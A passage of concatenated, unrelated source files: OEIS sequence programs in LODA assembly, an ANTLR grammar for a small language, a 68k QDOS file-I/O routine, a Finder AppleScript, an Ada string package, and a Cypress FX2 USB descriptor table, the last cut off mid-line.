6117692,6245001,6374064,6504893,6637500,6771897,6908096,7046109,7185948,7327625,7471152,7616541,7763804,7912953,8064000,8216957,8371836,8528649,8687408,8848125,9010812,9175481,9342144,9510813,9681500,9854217,10028976,10205789,10384668,10565625,10748672,10933821,11121084,11310473,11502000,11695677,11891516,12089529,12289728,12492125,12696732,12903561,13112624,13323933,13537500,13753337,13971456,14191869,14414588,14639625,14866992,15096701,15328764,15563193,15800000,16039197,16280796,16524809,16771248,17020125,17271452,17525241,17781504,18040253,18301500,18565257,18831536,19100349,19371708,19645625,19922112,20201181,20482844,20767113,21054000,21343517,21635676,21930489,22227968,22528125,22830972,23136521,23444784,23755773,24069500,24385977,24705216,25027229,25352028,25679625,26010032,26343261,26679324,27018233,27360000,27704637,28052156,28402569,28755888,29112125,29471292,29833401,30198464,30566493 mov $1,$0 add $1,$0 sub $1,5 mul $1,$0 mul $1,$0
programs/oeis/168/A168176.asm
neoneye/loda
22
90404
; A168176: a(n) = n^2*(n^10 + 1)/2. ; 0,1,2050,265725,8388616,122070325,1088391186,6920643625,34359738400,141214768281,500000000050,1569214188421,4458050224200,11649042561325,28346956187746,64873168945425,140737488355456,291311118615025,578415690713250,1106657459533261,2048000000000200,3677913755693541,6427501315524850,10957312216010425,18260173718028576,29802322387695625,47714478330841426,75047317648499925,116109132544606600,176907391602734941,265720500000000450,393831391894275361,576460752303424000,833944757476493025,1193210341846551106,1689610254028320925,2369190669160809096,3291476002920018325,4532868954247498450,6190778827788213321,8388608000000000800,11281745150183093881,15064734743319841650,19979815398631289125,26327045388388795336,34476261777465821325,44881150836777618466,58095741554474290225,74793671549043868800,95790615690283208401,122070312500000001250,154814672187810709101,195438503243125097800,245629452128363078725,307393813088254201266,383108932705200196825,475583006902707029536,588123146951719835625,724612676004800597650,889598709119766360181,1088391168000000001800,1327174487148793081021,1613133381198949912450,1954594164239413941825,2361183241434822608896,2844004531552856447425,3415837726623713202306,4091359452316428574525,4887389560203470965000,5823164961388655708661,6920643600500000002450,8204841370320405569641,9704204980882671405600,11451024023245129358425,13481885707960392258226,15838176012039184573125,18566631236597750696776,21719944260981791826925,25357430078620518650850,29545755515837076693841,34359738368000000003200,39883221538436254934961,46210028135149949097250,53445003869330562208525,61705153508638067789256,71120878568086059573925,81837323872793756472946,94015841100748836312825,107835577910840501735200,123495201782631070155721,141214768240500000004050,161237743706802391336981,183833193827441120907400,209298148739685336772125,237960157407126688241986,270180043831318481449825,306354878664883681890816,346921180497719000152225,392358361867400016698050,443192435858064640334301 pow $0,2 mov $1,$0 pow $0,6 add $0,$1 div $0,2
compiler/ll.g4
LarsBehl/llCompiler
4
6562
grammar ll; @parser::header {#pragma warning disable 3021} @lexer::header {#pragma warning disable 3021} compileUnit: program EOF; program: (loadStatement* globalVariableStatement* (functionDefinition | structDefinition | functionPrototype)+) | compositUnit; compositUnit: statement | expression; line: statement | expression SEMCOL; expression: PAR_L expression PAR_R # parenthes | left = expression op = MOD right = expression # binOpMod | left = expression op = (MULT | DIV) right = expression # binOpMultDiv | left = expression op = (PLUS | MINUS) right = expression # binOpAddSub | left = expression op = LESS ASSIGN? right = expression # lessOperator | left = expression op = GREATER ASSIGN? right = expression # greaterOperator | left = expression op = EQUAL right = expression # equalityOpertor | left = expression op = NOT_EQUAL right = expression # notEqualOperator | left = expression op = AND right = expression # andOperator | left = expression op = OR right = expression # orOperator | unaryExpression # unaryExpr; statement: left = WORD ASSIGN (expression | refTypeCreation) SEMCOL # assignStatement | left = arrayIndexing ASSIGN (expression) SEMCOL # assignArrayField | left = structPropertyAccess ASSIGN ( expression | refTypeCreation ) SEMCOL # assignStructProp | left = WORD ADD_ASSIGN right = expression SEMCOL # addAssignStatement | left = WORD SUB_ASSIGN right = expression SEMCOL # subAssignStatement | left = WORD MULT_ASSIGN right = expression SEMCOL # multAssignStatement | left = WORD DIV_ASSIGN right = expression SEMCOL # divAssignStatement | left = WORD COLON type = typeDefinition SEMCOL # instantiationStatement | left = WORD COLON type = typeDefinition ASSIGN ( expression | refTypeCreation ) SEMCOL # initializationStatement | refTypeDestruction SEMCOL # destructionStatement | RETURN (expression | refTypeCreation)? SEMCOL # returnStatement | IF PAR_L cond = compositUnit PAR_R blockStatement ( ELSE blockStatement )? # ifStatement | WHILE PAR_L cond = compositUnit PAR_R blockStatement # whileStatement | PRINT PAR_L expression PAR_R SEMCOL # printStatement; unaryExpression: numericExpression | CHAR_LITERAL |STRING_LITERAL | boolExpression | functionCall | variableExpression | incrementPostExpression | decrementPostExpression | decrementPreExpression | incrementPreExpression | notExpression | arrayIndexing | structPropertyAccess | NULL; functionCall: name = WORD PAR_L (expression (COMMA expression)*)? PAR_R; functionDefinition: name = WORD PAR_L ( WORD COLON typeDefinition ( COMMA WORD COLON typeDefinition )* )? PAR_R COLON typeDefinition body = blockStatement; variableExpression: WORD; numericExpression: sign = (MINUS | PLUS)? DOUBLE_LITERAL # doubleAtomExpression | sign = (MINUS | PLUS)? INTEGER_LITERAL # integerAtomExpression; boolExpression: BOOL_TRUE | BOOL_FALSE; blockStatement: CURL_L line* CURL_R; typeDefinition: INT_TYPE | DOUBLE_TYPE | BOOL_TYPE | VOID_TYPE | CHAR_TYPE | arrayTypes | structName; incrementPostExpression: valueAccess PLUS PLUS; decrementPostExpression: valueAccess MINUS MINUS; incrementPreExpression: PLUS PLUS valueAccess; decrementPreExpression: MINUS MINUS valueAccess; notExpression: NOT expression; arrayTypes: INT_TYPE BRAC_L BRAC_R # intArrayType | DOUBLE_TYPE BRAC_L BRAC_R # doubleArrayType | BOOL_TYPE BRAC_L BRAC_R # boolArrayType | CHAR_TYPE BRAC_L BRAC_R # charArrayType; arrayCreation: INT_TYPE BRAC_L expression BRAC_R # intArrayCreation | DOUBLE_TYPE BRAC_L expression BRAC_R # doubleArrayCreation | BOOL_TYPE BRAC_L expression BRAC_R # boolArrayCreation | CHAR_TYPE BRAC_L expression BRAC_R # charArrayCreation; refTypeCreation: NEW arrayCreation | NEW structCreation; arrayIndexing: variableExpression BRAC_L expression BRAC_R; refTypeDestruction: DESTROY valueAccess; structProperties: WORD COLON typeDefinition SEMCOL; structDefinition: STRUCT WORD CURL_L structProperties+ CURL_R; structName: WORD; structCreation: structName PAR_L PAR_R; structPropertyAccess: variableExpression DOT valueAccess; loadStatement: LOAD fileName = WORD SEMCOL; functionPrototype: name = WORD PAR_L ( WORD COLON typeDefinition ( COMMA WORD COLON typeDefinition )* )? PAR_R COLON typeDefinition SEMCOL; valueAccess: variableExpression | arrayIndexing | structPropertyAccess; globalVariableStatement: GLOBAL name = WORD COLON typeDefinition ASSIGN (CHAR_LITERAL | numericExpression | boolExpression | refTypeCreation | STRING_LITERAL) SEMCOL; DOUBLE_LITERAL: [0-9]+ DOT [0-9]+; INTEGER_LITERAL: [0-9]+; STRING_LITERAL: QUOTE ('\u0020'..'\u0021' | '\u0023'..'\u007E' | ESCAPED)* QUOTE; CHAR_LITERAL: APOSTROPHE ('\u0020'..'\u0026' | '\u0028'..'\u007E' | ESCAPED) APOSTROPHE; ESCAPED: '\u005C' ('\u006E' | '\u0074' | '\u0072' | '\u0022' | '\u0027' | '\u0030' | '\u005C'); RETURN: 'r' 'e' 't' 'u' 'r' 'n'; INT_TYPE: 'i' 'n' 't'; DOUBLE_TYPE: 'd' 'o' 'u' 'b' 'l' 'e'; BOOL_TYPE: 'b' 'o' 'o' 'l'; VOID_TYPE: 'v' 'o' 'i' 'd'; CHAR_TYPE: 'c' 'h' 'a' 'r'; BOOL_TRUE: 't' 'r' 'u' 'e'; BOOL_FALSE: 'f' 'a' 'l' 's' 'e'; IF: 'i' 'f'; ELSE: 'e' 'l' 's' 'e'; WHILE: 'w' 'h' 'i' 'l' 'e'; PRINT: 'p' 'r' 'i' 'n' 't'; NEW: 'n' 'e' 'w'; DESTROY: 'd' 'e' 's' 't' 'r' 'o' 'y'; NULL: 'n' 'u' 'l' 'l'; STRUCT: 's' 't' 'r' 'u' 'c' 't'; LOAD: 'l' 'o' 'a' 'd'; GLOBAL: 'g' 'l' 'o' 'b' 'a' 'l'; WORD: ([a-zA-Z] | '_') ([a-zA-Z0-9] | '_')*; MOD: '%'; MULT: '*'; PLUS: '+'; MINUS: '-'; DIV: '/'; DOT: '.'; PAR_L: '('; PAR_R: ')'; ASSIGN: '='; CURL_L: '{'; CURL_R: '}'; BRAC_L: '['; BRAC_R: ']'; SEMCOL: ';'; EQUAL: '=' '='; ADD_ASSIGN: '+' '='; SUB_ASSIGN: '-' '='; MULT_ASSIGN: '*' '='; DIV_ASSIGN: '/' '='; LESS: '<'; GREATER: '>'; COLON: ':'; COMMA: ','; NOT: '!'; AND: '&' '&'; OR: '|' '|'; NOT_EQUAL: '!' '='; APOSTROPHE: '\''; QUOTE: '"'; WHITESPACE: [ \t\n\r] -> skip;
iod/iou/io.asm
olifink/smsqe
0
10243
<reponame>olifink/smsqe<gh_stars>0 ; IO Operations V2.05  1989 <NAME> QJUMP section iou xdef iou_io xdef iou_flsh xdef iou_load xdef iou_save xdef iou_ckro xref iou_sect xref iou_opfl xref iou_fmul xref iou_flin xref iou_smul xref iou_fden xref iou_fde0 xref iou_sden xref iou_fnam xref iou_ckch xref iou_mkdr xref iou_ckde xref iou_date xref gu_achpp xref gu_rchp include 'dev8_keys_revbin' include 'dev8_keys_err' include 'dev8_keys_sys' include 'dev8_keys_chn' include 'dev8_keys_iod' include 'dev8_keys_hdr' include 'dev8_keys_qdos_sms' include 'dev8_keys_qdos_io' include 'dev8_keys_qdos_ioa' include 'dev8_mac_assert' ;+++ ; General purpose IO routine ; ; d0 c operation ; d1 cr amount transferred / byte / position etc. ; d2 c buffer size ; d5 s file pointer ; d6 s drive number / file id ; d7 s ; a0 c channel base address ; a1 cr buffer address ; a2 s internal buffer address ; a3 c p linkage block address ; a4 s pointer to physical definition ; a5 s pointer to map ;--- iou_io move.l chn_ddef(a0),a4 ; definition block move.l iod_map(a4),a5 assert chn..usd,7 tas chn_usef(a0) ; channel used? bne.s iou_iodo ; ... yes move.l a4,d7 ; genuinely opened? bne.s iou_iost ; ... yes move.l d0,-(sp) jsr iou_opfl ; ... no, open file move.l (sp)+,d0 iou_iost move.l iod_hdrl(a4),chn_fpos(a0); set to start of file iou_iodo assert chn_drnr,chn_flid-2 move.l chn_drnr(a0),d6 ; msw is drive / file ID tst.b iod_ftyp(a4) ; format type? blt.l iou_sect ; direct sector IO cmp.w #iof.xinf,d0 ; in range? bhi.s io_ipar ; ... no iou_setj move.w d0,d7 cmp.w #iob.smul,d7 ; byte io? bls.s io_jump ; ... yes sub.w #iof.chek,d7 ; file io? blt.s io_ipar ; ... no addq.w #iob.smul+1,d7 io_jump add.w d7,d7 add.w io_tab(pc,d7.w),d7 jmp io_tab(pc,d7.w) io_ipar moveq #err.ipar,d0 rts io_tab dc.w io_test-* dc.w io_fbyt-* dc.w io_flin-* dc.w io_fmul-* dc.w io_ipar-* dc.w io_sbyt-* dc.w io_smul-* dc.w io_smul-* dc.w io_chek-* dc.w io_flsh-* dc.w io_posa-* dc.w io_posr-* dc.w io_ipar-* dc.w io_info-* dc.w io_shdr-* dc.w io_rhdr-* dc.w io_load-* dc.w io_save-* dc.w io_rnam-* dc.w io_trnc-* dc.w io_date-* dc.w io_mkdr-* dc.w io_vers-* dc.w io_xinf-* ; make directory io_mkdr bsr.l iou_ckro ; check read only jmp iou_mkdr ; position pointer io_posr move.l iod_hdrl(a4),d2 ; beginning of file add.l chn_fpos(a0),d1 ; absolute position bra.s iop_ckef io_posa move.l iod_hdrl(a4),d2 ; beginning of file add.l d2,d1 ; absolute position iop_ckef moveq #0,d0 ; assume ok cmp.l d2,d1 ; beginning of file? blt.s iop_begf cmp.l chn_feof(a0),d1 ; end of file? ;$$$$ ble.s iop_spos ; ... no blt.s iop_spos ; $$$$ prospero move.l chn_feof(a0),d1 ; end of file bra.s iop_seof iop_begf move.l d2,d1 ; beginning of file iop_seof moveq #err.eof,d0 iop_spos move.l d1,chn_fpos(a0) ; set position sub.l d2,d1 ; ignoring header rts ; fetch medium information io_info lea iod_mnam(a4),a2 ; medium name move.l (a2)+,(a1)+ move.l (a2)+,(a1)+ move.w (a2)+,(a1)+ jmp iod_occi(a3) ; get occupancy information io_xinf ioi.reg reg d1/a0 movem.l ioi.reg,-(sp) jsr iod_occi(a3) ; set occupancy information lea ioi.blkl(a1),a0 ; pre-fill information block moveq #(ioi.blkl-ioi_remv)/4-1,d0 moveq #-1,d3 ioi_pre move.l d3,-(a0) dbra d0,ioi_pre assert ioi.blkl-ioi_remv,$10 clr.b (a0) ; not removable assert ioi_ftyp,ioi_styp-1,ioi_dens-2,ioi_mtyp-3 move.l #$01ffff00,-(a0) assert iod_hdrl,iod_free+4,iod_totl+8,iod_allc+$a assert ioi_hdrl,ioi_free+4,ioi_totl+8,ioi_allc+$a lea iod_hdrl(a4),a2 ; set header, free, total and allc move.l (a2),-(a0) move.l -(a2),-(a0) move.l -(a2),-(a0) move.w -(a2),-(a0) assert ioi_dnum,ioi_rdon-1,ioi_allc-2 move.b iod_wprt(a4),-(a0) ; set read only move.b iod_dnum(a4),-(a0) ; set drive number clr.l -(a0) ; null the drive name lea iod_dnam(a3),a2 move.w (a2)+,-(a0) ; name length move.w (a0)+,d3 ioi_cdnm move.b (a2)+,(a0)+ ; copy drive name subq.w #1,d3 bgt.s ioi_cdnm lea ioi_dnam(a1),a0 ; set medium name to zeros assert ioi_dnam-(ioi_name+2),20 ; max number of characters clr.l -(a0) clr.l -(a0) clr.w -(a0) ; clear last ten characters lea iod_mnam+10(a4),a2 moveq #0,d1 ; actual name length moveq #10,d0 ; max name length ioi_cmnl move.b -(a2),-(a0) cmp.b #' ',(a0) ; space bne.s ioi_smle ; ... no clr.b (a0) subq.w #1,d0 bgt.s ioi_cmnl bra.s ioi_nmln ioi_smnl move.b -(a2),-(a0) ; copy characters ioi_smle addq.w #1,d1 ; one moe char subq.w #1,d0 bgt.s ioi_smnl ioi_nmln move.w d1,-(a0) ; name length movem.l (sp)+,ioi.reg ; restore regs rts ; set/read date io_date moveq #hdr_date,d4 ; set / read date tst.b d2 ; update date? beq.s iodt_sr ; ... yes cmp.b #2,d2 ; backup date? bne.l io_ipar ; ... no moveq #hdr_bkup,d4 ; ... yes iodt_sr moveq #chn..dst,d3 ; date set flag moveq #4,d7 ; set or read four bytes move.l d1,chn_spr(a0) ; key or date bne.s iodv_chk jsr iou_date ; present date move.l d1,chn_spr(a0) bra.s iodv_chk ; set / read version io_vers moveq #-1,d2 ; version flag moveq #chn..vst,d3 ; version set flag moveq #hdr_vers,d4 ; set / read version moveq #2,d7 ; two bytes move.w d1,chn_spr(a0) ; key or version bne.s iodv_chk ; set or read bset d3,chn_usef(a0) ; set usage flag moveq #-1,d1 ; and read it iodv_chk cmp.b #ioa.kdir,chn_accs(a0) ; is this directory? beq.l io_ipar ; ... no can do addq.l #1,d1 ; was it read? beq.s iodv_read ; ... yes, carry on tst.b d2 ; was it backup date? bgt.s iodv_set bsr.l iou_ckrn ; check read only (do not set update) iodv_set bset d3,chn_usef(a0) ; set usage move.l a1,-(sp) lea chn_spr(a0),a1 jsr iou_sden ; set date / version bra.s iodv_ret iodv_read move.l a1,-(sp) lea chn_spr(a0),a1 jsr iou_fden ; read date / version iodv_ret tst.b d2 bge.s iodv_rtd moveq #0,d1 move.w -(a1),d1 ; return version bra.s iodv_exit iodv_rtd move.l -(a1),d1 iodv_exit move.l (sp)+,a1 rts ; do header io_shdr cmp.b #hdrt.dir,hdr_type(a1) ; directory? beq.l io_ipar ; ... yes, cannot set bsr.l iou_ckro ; read only? moveq #hdr.set,d7 ; set header length moveq #0,d4 ; start jmp iou_sden ; set directory entry io_rhdr move.w iod_rdid(a4),d0 ; root directory cmp.w chn_flid(a0),d0 ; is it? beq.s io_rdhdr ; read root directory header moveq #hdr.len,d7 cmp.l d7,d2 ; header read long enough? bhs.s iorh_fden ; ... yes move.l d2,d7 ; ... no, read short iorh_fden move.l a1,-(sp) ; save address jsr iou_fde0 move.l (sp)+,a2 bne.s iorh_rts ; ... oops move.l iod_hdrl(a4),d2 sub.l d2,(a2) ; adjust header length iorh_rts rts ; read directory header io_rdhdr moveq #4,d1 ; four bytes read move.l chn_feof(a0),(a1) ; end of file move.l iod_hdrl(a4),d0 sub.l d0,(a1)+ ; adjusted to make real iorh_loop cmp.w d1,d2 ; fill with zeros ble.l io_rtok clr.b (a1)+ addq.b #1,d1 cmp.b #hdr_type+1,d1 ; ... except type bne.s iorh_loop st -1(a1) ; which is $FF bra.s iorh_loop ; scatter load and save io_load jmp iod_load(a3) io_save jmp iod_save(a3) ; rename (atomic) io_rnam ;*** cmp.b #ioa.kdir,chn_accs(a0) ; we can rename directory ;*** bne.s iorn_ckro ;*** tst.b iod_rdon(a4) ; ... but only if not read_only ;*** bne.s iorn_ckro ;*** jsr iou_ckde ; check if directory empty ;*** bne.s iorn_rts ; ... no ;*** bra.s iorn_do ; ... yes, carry on iorn_ckro bsr.l iou_ckrn ; check read only iorn_do movem.l a0/a4,-(sp) ; save name comparison regs move.w (a1)+,d4 ; name length lea iod_dnus(a3),a4 ; drive name move.w (a4)+,d0 ; ... length sub.w d0,d4 ; name is shorter move.l a1,a0 cmp.w d0,d0 ; pretend lengths the same bsr.l iou_ckch ; check the characters move.l a0,a1 movem.l (sp)+,a0/a4 ; and restore name comparison regs bne.s iorn_inam ; ... oops, wrong device moveq #-'0',d0 add.b (a1)+,d0 ; drive number swap d6 cmp.b d6,d0 ; correct? bne.s iorn_inam ; ... no swap d6 cmp.b #'_',(a1)+ ; correct separator? bne.s iorn_inam ; ... no subq.w #2,d4 ; length of remaining bit move.w d4,d2 cmp.w #chn.nmln,d2 ; too long? bhi.s iorn_inam ; ... yes move.l a0,a2 move.l #chn_fend,d0 jsr gu_achpp ; make a dummy channel block bne.s iorn_rts bsr.s iorn_cname ; set up name move.b chn_drid(a2),chn_drid(a0); drive to search move.b #ioa.krnm,chn_accs(a0) ; rename file jsr iou_opfl ; open it jsr gu_rchp ; return heap move.l a2,a0 ; restore channel iorn_rts rts iorn_inam moveq #err.inam,d0 ; invalid name rts iorn_cname move.l a2,-(sp) lea chn_name(a0),a2 ; copy new name into channel block move.w d2,(a2)+ ; ... length move.w d2,d0 bra.s iorn_lend iorn_loop move.b (a1)+,(a2)+ iorn_lend dbra d0,iorn_loop move.l (sp)+,a2 rts ; truncate io_trnc bsr.l iou_ckro ; check read only move.l chn_fpos(a0),d5 ; truncation position jsr iod_trnc(a3) ; truncate file move.l chn_fpos(a0),chn_feof(a0) ; new end of file rts ; check pending operations io_chek jmp iod_chek(a3) ; check all pending operations ;+++ ; Flush buffers and make safe ; Sets length / update date in directory entry ; Does device specific flush ;+++ iou_flsh io_flsh tst.b chn_updt(a0) ; file updated? beq.s io_rtok ; ... no tst.w d3 ; re-try? bne.s iouf_do ; ... yes moveq #hdr_flen,d4 ; update file length moveq #4,d7 ; (4 bytes) lea chn_spr(a0),a1 move.l chn_feof(a0),(a1) bsr.l iou_sden btst #chn..dst,chn_usef(a0) ; date already set? bne.s iouf_ver jsr iou_date lea chn_spr(a0),a1 ; set time in spare move.l d1,(a1) moveq #hdr_date,d4 ; set date moveq #4,d7 bsr.l iou_sden iouf_ver bset #chn..vst,chn_usef(a0) ; version updated? bne.s iouf_do0 moveq #hdr_vers,d4 moveq #2,d7 ; get version lea chn_spr(a0),a1 bsr.l iou_fden addq.w #1,-(a1) ; update moveq #hdr_vers,d4 moveq #2,d7 bsr.l iou_sden ; and set iouf_do0 moveq #0,d3 ; restore D3 to 0 iouf_do jsr iod_flsh(a3) ; and do flush sne chn_updt(a0) ; flush complete? rts ; OK return io_rtok moveq #0,d0 rts page ; Test or fetch byte ; d1 next byte ; d5 position (byte) ; d6 drive number / file id io_test io_fbyt move.l chn_fpos(a0),d5 ; position cmp.l chn_feof(a0),d5 ; length to end of file beq.s iofb_eof ; ... end of file move.w d0,d7 ; save operation ; set internal buffer pointer in a2 jsr iod_lcbf(a3) ; locate buffer bne.s iofb_exit ; ... oops move.b (a2),d1 ; fetch byte addq.l #1,d5 ; move on to next byte subq.w #iob.fbyt,d7 ; was it iob.fbyt? beq.s iofb_exit ; ... yes rts ; ... no, do not update pointer ; fetch multiple bytes ; d1 amount read so far ; d2 buffer size ; d3 amount to buffer/unbuffer ; d5 position (byte) ; d6 drive number / file id ; d7 max to read io_flin io_fmul ext.l d2 ; call buffer length is a word ;+++ ; Load file using standard serial fetch ; ; d1 cr amount read so far ; d2 c p amount to load ; d3 s amount to buffer/unbuffer ; d4 s file block/byte ; d5 s start file position (byte) from channel block ; d6 c p drive number / file id ; d7 s max to read this time ; a0 c p channel block ; a1 cr pointer to memory to load into ; a2 s internal buffer address ; a3 c p pointer to linkage block ; a4 c p pointer to physical definition ; a5 c p pointer to map ;--- iou_load io_sload move.l d2,d7 ; max to read sub.l d1,d7 ; max left to read move.l chn_feof(a0),d3 ; end of file move.l chn_fpos(a0),d5 sub.l d5,d3 ; length to end of file beq.s iofb_eof ; ... none cmp.l d7,d3 ; enough? bhs.s iofm_dor ; ... enough move.l d3,d7 ; ... end of file iofm_dor subq.w #iob.flin,d0 ; was it fetch line? beq.s iofl_dor ; ... yes bsr.l iou_fmul ; do fetch bne.s iofb_exit ; ... oops cmp.l d1,d2 ; all read? beq.s iofm_exit ; ... yes iofb_eof moveq #err.eof,d0 ; ... no, must have been end of file iofb_exit iofm_exit iofl_exit move.l d5,chn_fpos(a0) ; set current pointer rts ; do fetch line iofl_dor bsr.l iou_flin ; fetch line bra.s iofl_exit page ; send a byte ; d1 byte to send ; d5 position (byte) ; d6 drive number / file id io_sbyt bsr.s iou_ckro ; check read only move.l chn_fpos(a0),d5 ; file position jsr iod_albf(a3) ; locate / allocate buffer bne.s iosb_exit ; ... oops move.b d1,(a2)+ ; copy byte addq.l #1,d4 ; next buffer position addq.l #1,d5 ; next byte jsr iod_upbf(a3) ; buffer updated bra.s iosb_exit page ; send multiple bytes ; d1 amount sent so far ; d2 buffer size ; d3 amount to buffer/unbuffer ; d5 position (byte) ; d6 drive number / file id ; d7 amount left to send io_smul ext.l d2 ; call argument is word ;+++ ; Save file using standard serial send ; ; d1 cr amount sent so far ; d2 c p amount to save ; d3 s amount to buffer/unbuffer ; d4 s file block/byte ; d5 s start file position (byte) from channel block ; d6 c p drive number / file id ; d7 s max to send this time ; a0 c p channel block ; a1 cr pointer to memory to save from ; a2 s internal buffer address ; a3 c p pointer to linkage block ; a4 c p pointer to physical definition ; a5 c p pointer to map ;--- iou_save io_ssave bsr.s iou_ckro ; check read only move.l d2,d7 ; amount to send sub.l d1,d7 ; amount left to send ble io_rtok ; ... none move.l chn_fpos(a0),d5 ; file position bsr.l iou_smul ; do send iosb_exit move.l d5,chn_fpos(a0) ; set file position cmp.l chn_feof(a0),d5 ; new end of file? bls.s iosm_rts ; ... no move.l d5,chn_feof(a0) ; set end of file iosm_rts tst.l d0 rts ;+++ ; check read only status (and set chn_updt if OK) ; ; smashes d0/a2 ; returns err.rdo at 4(sp) if d0 set to ERR.RDO ; ;--- iou_ckro st chn_updt(a0) ; say modified iou_ckrn move.b chn_accs(a0),d0 ; check file access lea io_share(pc),a2 ; GST asm bug btst d0,(a2) ; shareable? bne.s io_rdo4 ; ... yes, read only rts io_rdo4 sf chn_updt(a0) ; not really modified addq.l #4,sp ; remove return moveq #err.rdo,d0 rts io_share dc.b .x..xxxx end
FinderGo/Scripts/finderCurrentPath.scpt
Deejay-Ste/FinderGo
1,021
3533
<reponame>Deejay-Ste/FinderGo<filename>FinderGo/Scripts/finderCurrentPath.scpt<gh_stars>1000+ tell application "Finder" set cwd to POSIX path of ((target of front Finder window) as text) return cwd end tell
Assignment/mystring.adb
vivianjia123/Password-Manager
0
15917
<reponame>vivianjia123/Password-Manager with Ada.Text_IO; package body MyString is function To_String(M : MyString) return String is Result : String(1..M.Length); begin Result := String(M.Str(M.Str'First..M.Length)) ; return Result; end To_String; function From_String(S : String) return MyString is M : MyString := (Length => 0, Str => (others => ' ')); J : Integer := M.Str'First; begin if S'Length > Max_MyString_Length then raise Constraint_Error; end if; M.Length := S'Length; for I in S'Range loop pragma Loop_Invariant (J = I - S'First + 1); M.Str(J) := S(I); J := J + 1; end loop; return M; end From_String; function Less(M1 : MyString; M2 : MyString) return Boolean is I : Integer := M1.Str'First; begin If M1.Length < M2.Length then return True; elsif M1.Length > M2.Length then return False; else while (I <= M1.Str'Last) loop pragma Loop_Invariant (I >= M1.Str'First); if M1.Str(I) < M2.Str(I) then return True; elsif M1.Str(I) > M2.Str(I) then return False; else I := I + 1; end if; end loop; -- end of string and both equal return False; end if; end Less; function Equal(M1 : MyString; M2 : MyString) return Boolean is I : Integer := M1.Str'First; begin If M1.Length /= M2.Length then return False; else while (I <= M1.Str'Last) loop pragma Loop_Invariant (I >= M1.Str'First and (for all J in 1..I-1 => M1.Str(J) = M2.Str(J))); if M1.Str(I) /= M2.Str(I) then return False; else I := I + 1; end if; end loop; return True; end if; end Equal; function Substring(M : MyString; From : Positive; To : Positive) return MyString is R : MyString := (Length => To - From + 1, Str => (others => ' ')); J : Positive := R.Str'First; begin for I in From..To loop pragma Loop_Invariant (J = I - From + 1); R.Str(J) := M.Str(I); J := J + 1; end loop; return R; end Substring; procedure Get_Line(M : out MyString) is begin Ada.Text_IO.Get_Line(Item => String(M.Str), Last => M.Length); end Get_Line; end MyString;
Projects/bulkloop/dscr.a51
cvetkovem/cypress_FX2_firmware
0
240257
; Copyright (C) 2009 Ubixum, Inc. ; ; This library is free software; you can redistribute it and/or ; modify it under the terms of the GNU Lesser General Public ; License as published by the Free Software Foundation; either ; version 2.1 of the License, or (at your option) any later version. ; ; This library is distributed in the hope that it will be useful, ; but WITHOUT ANY WARRANTY; without even the implied warranty of ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ; Lesser General Public License for more details. ; ; You should have received a copy of the GNU Lesser General Public ; License along with this library; if not, write to the Free Software ; Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ; this is a the default ; full speed and high speed ; descriptors found in the TRM ; change however you want but leave ; the descriptor pointers so the setupdat.c file works right .module DEV_DSCR ; descriptor types ; same as setupdat.h DSCR_DEVICE_TYPE = 1 DSCR_CONFIG_TYPE = 2 DSCR_STRING_TYPE = 3 DSCR_INTERFACE_TYPE = 4 DSCR_ENDPOINT_TYPE = 5 DSCR_DEVQUAL_TYPE = 6 ; for the repeating interfaces DSCR_INTERFACE_LEN = 9 DSCR_ENDPOINT_LEN = 7 ; endpoint types ENDPOINT_TYPE_CONTROL = 0 ENDPOINT_TYPE_ISO = 1 ENDPOINT_TYPE_BULK = 2 ENDPOINT_TYPE_INT = 3 .globl _dev_dscr, _dev_qual_dscr, _highspd_dscr, _fullspd_dscr, _dev_strings, _dev_strings_end ; These need to be in code memory. If ; they aren't you'll have to manully copy them somewhere ; in code memory otherwise SUDPTRH:L don't work right .area DSCR_AREA (CODE) ; ----------------------------------------------------------------------------- ; Device descriptor ; ----------------------------------------------------------------------------- _dev_dscr: .db dev_dscr_end-_dev_dscr ; len .db DSCR_DEVICE_TYPE ; type .dw 0x0002 ; USB 2.0 .db 0xff ; class (vendor specific) .db 0xff ; subclass (vendor specific) .db 0xff ; protocol (vendor specific) .db 64 ; packet size (ep0) .dw 0xB404 ; vendor id .dw 0x0410 ; product id .dw 0x0100 ; version id .db 1 ; manufacturure str idx .db 2 ; product str idx .db 0 ; serial str idx .db 1 ; n configurations dev_dscr_end: ; ----------------------------------------------------------------------------- ; Device qualifier (for "other device speed") ; ----------------------------------------------------------------------------- _dev_qual_dscr: .db dev_qualdscr_end - _dev_qual_dscr .db DSCR_DEVQUAL_TYPE .dw 0x0002 ; USB 2.0 .db 0xff ; Class (vendor specific) .db 0xff ; Subclass (vendor specific) .db 0xff ; Protocol (vendor specific) .db 64 ; Max. EP0 packet size .db 1 ; Number of configurations .db 0 ; Extra reserved byte dev_qualdscr_end: ; ----------------------------------------------------------------------------- ; High-Speed configuration descriptor ; ----------------------------------------------------------------------------- _highspd_dscr: .db highspd_dscr_end - _highspd_dscr .db DSCR_CONFIG_TYPE ; Total length of the configuration (1st line LSB, 2nd line MSB) .db (highspd_dscr_realend - _highspd_dscr) % 256 .db (highspd_dscr_realend - _highspd_dscr) / 256 .db 1 ; Number of interfaces .db 1 ; Configuration number .db 0 ; Configuration string (none) .db 0x80 ; Attributes (bus powered, no wakeup) .db 0x32 ; Max. power (100mA) highspd_dscr_end: ; all the interfaces next ; NOTE the default TRM actually has more alt interfaces ; but you can add them back in if you need them. ; here, we just use the default alt setting 1 from the trm ; Interfaces (only one in our case) .db DSCR_INTERFACE_LEN .db DSCR_INTERFACE_TYPE .db 0 ; Interface index .db 0 ; Alternate setting index .db 1 ; Number of endpoints .db 0xff ; Class (vendor specific) .db 0xff ; Subclass (vendor specific) .db 0xff ; Protocol (vendor specific) .db 0 ; String index (none) ; Endpoint 2 (IN) .db DSCR_ENDPOINT_LEN .db DSCR_ENDPOINT_TYPE .db 0x82 ; EP number (2), direction (IN) .db ENDPOINT_TYPE_BULK ; Endpoint type (bulk) .db 0x00 ; Max. packet size, LSB (512 bytes) .db 0x02 ; Max. packet size, MSB (512 bytes) .db 0x00 ; Polling interval highspd_dscr_realend: .even ; ----------------------------------------------------------------------------- ; Full-Speed configuration descriptor ; ----------------------------------------------------------------------------- _fullspd_dscr: .db fullspd_dscr_end - _fullspd_dscr .db DSCR_CONFIG_TYPE ; Total length of the configuration (1st line LSB, 2nd line MSB) .db (fullspd_dscr_realend - _fullspd_dscr) % 256 .db (fullspd_dscr_realend - 